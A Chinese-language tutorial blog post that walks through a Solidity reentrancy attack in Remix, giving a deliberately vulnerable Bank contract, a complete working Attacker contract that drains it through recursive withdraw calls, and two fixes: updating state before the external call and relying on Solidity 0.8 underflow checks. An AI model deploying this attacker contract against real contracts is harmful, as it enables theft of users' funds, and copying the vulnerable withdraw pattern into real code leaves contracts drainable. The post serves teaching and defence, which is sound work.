手把手做一次Reentrancy攻擊
Overview
Intro
Reentrancy Attack應該大部份幣圈從業者都有聽過,算是Solidity最知名的一個漏洞。過去此漏洞曾經導致Ethereum 分岔成Ethereum Classic與現在我們熟知的Ethereum。(幣來說就是分成了ETH & ETC)。
問題發生的原因在於我們的合約在使用call
的時候,如果使用你合約的不是外部帳戶(EOA),而是另一個智能合約,那麼就會觸發receive()
(or fallback()
)。那麼這個惡意合約,就可以在receive()
當中繼續呼叫你的合約。
沒關係,我們看code比較清楚。
今天假設有兩個合約Bank
與Attacker
Contract: Bank
今天寫一個簡單的銀行合約Bank,讓用戶存錢(Deposit
)進去,然後可以把錢領(Withdraw
)出來,用userBalance
變數去紀錄使用者存了多少錢進去。
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.7.0;
3
4contract Bank {
5 mapping(address => uint256) public userBalance;
6
7 event log(string title, uint _amount);
8
9 function deposit() public payable {
10 userBalance[msg.sender] += msg.value;
11 }
12
13 function withdraw(uint256 amount) public {
14 require(userBalance[msg.sender] >= amount);
15
16 emit log("before call()", address(this).balance);
17 (bool send, ) = msg.sender.call{value: amount}("");
18 emit log("after call()", address(this).balance);
19
20 require(send, "withdraw failed");
21 userBalance[msg.sender] -= amount;
22 }
23}
來看一下很正常的withdraw(), 一開始先檢查使用者的餘額(userBalance[msg.sender]
)是否大於等於提款的金額(amount
)
1require(userBalance[msg.sender] >= amount);
驗證沒問題,把錢轉出給使用者
1(bool send, ) = msg.sender.call{value: amount}("");
好心的檢查轉出狀態是否正常
1require(send, "withdraw failed");
最後扣掉userBalance, Happy Ending。
1userBalance[msg.sender] -= amount;
打開Remix來測試看看,新增一個reentrancy.sol
的檔案,把上面的code貼上。切換到0.7.0的compiler去compile。(為什麼不用最新的?文章末尾跟大家說)
切換到Deploy的分頁,Environment用Javascript VM即可,Contract選擇Bank合約,然後按下Deploy。
value選擇10 Ether, 按下Deposit。
可以透過userBalance
與withdraw
去測試看看一切是否跟我們預期的一樣。
Contract: Attacker
好,現在輪到攻擊者上場了!
1contract Attacker {
2 Bank bank;
3
4 event attack_log(string title, uint amount);
5
6 receive() external payable {
7 emit attack_log("attacking", address(bank).balance);
8 if (address(bank).balance >= 1 ether) {
9 bank.withdraw(1 ether);
10 }
11 }
12
13 constructor(address bank_address) {
14 bank = Bank(bank_address);
15 }
16
17 function attack() public payable {
18 bank.deposit{value: 1 ether}();
19 emit attack_log("start attack", address(bank).balance);
20 bank.withdraw(1 ether);
21 emit attack_log("attack finish", address(bank).balance);
22 }
23}
先看Attack()
, 先存入1 ether,然後把它領取來。看起來還是很正常對嗎?
那接著來看重點receive()
。當有合約收到ether的時候,會自動觸發receive()這個特殊的function。
然後我們在receive()裡面去再呼叫一次Bank
的withdraw()
。(會先檢查Bank的餘額,避免餘額不足觸發revert,導致整個交易都失敗。)
先試著攻擊一次會更清楚。先確認Bank合約有把ether存進去(如果你前面步驟有把ether領出來,記得在deposit進去)。
可以在remix的console透過web3.eth.getBalance("contract_address")
來查詢合約的餘額,下圖可以看到攻擊前合約的確有10 ether。
模擬攻擊者來Deploy Attacker合約。
首先切換account到別的帳號來Deploy。(注意Attacker合約佈署時時需要給定Bank的合約地址)
輸入1 ether給Attacker當作攻擊時的初始合約,按下Attack,準備收錢。
透過console分別查看兩個合約的餘額web3.eth.getBalance("contract_address")
,你會發現Bank的餘額為0 ether, 而Attacker只花了gas fee就把銀行的錢都捲走了。
打看剛剛Attack的log, 從log中可以觀察到程式的運作順序
把順序整理一下,流程大致如下
1attacker.attack()
2
3-> bank.withdraw(1 ether)
4-> msg.sender.call{value: amount}
5-> 觸發Attacker的receiver()
6
7-> bank.withdraw(1 ether)
8-> msg.sender.call{value: amount}
9-> 觸發Attacker的receiver()
10
11...
12...一直循環到bank的餘額不足為止
13...
14
15-> userBalance[msg.sender] -= amount; # Bank合約把你的餘額扣了1 ether, 實際上你把錢都騙走了。
以上就是Reentrancy攻擊的可怕之處,你感覺你寫的Code都很正常,該檢查的都檢查了,應該沒問題吧?可是還是會被攻擊了😭
預防方式
方法1: 先改狀態
最簡單但重要的一個概念就是把改變狀態的程式碼放到前面,最後再呼叫外部合約。
1contract Bank {
2 mapping(address => uint256) public userBalance;
3
4 event log(string title, uint _amount);
5
6 function deposit() public payable {
7 userBalance[msg.sender] += msg.value;
8 }
9
10 function withdraw(uint256 amount) public {
11 require(userBalance[msg.sender] >= amount);
12
13 userBalance[msg.sender] -= amount;
14
15 emit log("before call()", address(this).balance);
16 (bool send, ) = msg.sender.call{value: amount}("");
17 emit log("after call()", address(this).balance);
18
19 require(send, "withdraw failed");
20 }
21}
我們先扣掉Attacker的餘額之後,再把錢轉給Attacker。這樣當receiver()想再withdraw()的時候,就會被require(userBalance[msg.sender] >= amount);
所revert,讓整個交易都失敗👍
方法2: 版本升級
升級Solidity到0.8.0之後的版本,就可以讓上面的攻擊合約失效。 因為0.8.0有一個改變,就是當運算出現overflow or underflow的時候都會觸發revert。
Arithmetic operations revert on underflow and overflow. You can use unchecked { ... } to use the previous wrapping behaviour.
也就是說,當攻擊者跑到最後步驟時userBalance[msg.sender] -= amount;
,會觸發revert讓交易失敗👍
1第一次-=amount
2userBalance[msg.sender] = 1
3amount = 1
4-> userBalance[msg.sender] = 0
5
6第二次-=amount
7userBalance[msg.sender] = 0
8amount = 1
9-> userBalance[msg.sender] = -1
10-> underflow
11-> revert
當然這不是真的能完全避免掉Reentrancy攻擊。試想你有一個withdrawAll()
的function, 你單純把userBalance[msg.sender] = 0;
,然後還是被攻擊了😭
補充:有興趣了解會觸發receive()還是fallback()可以參考這篇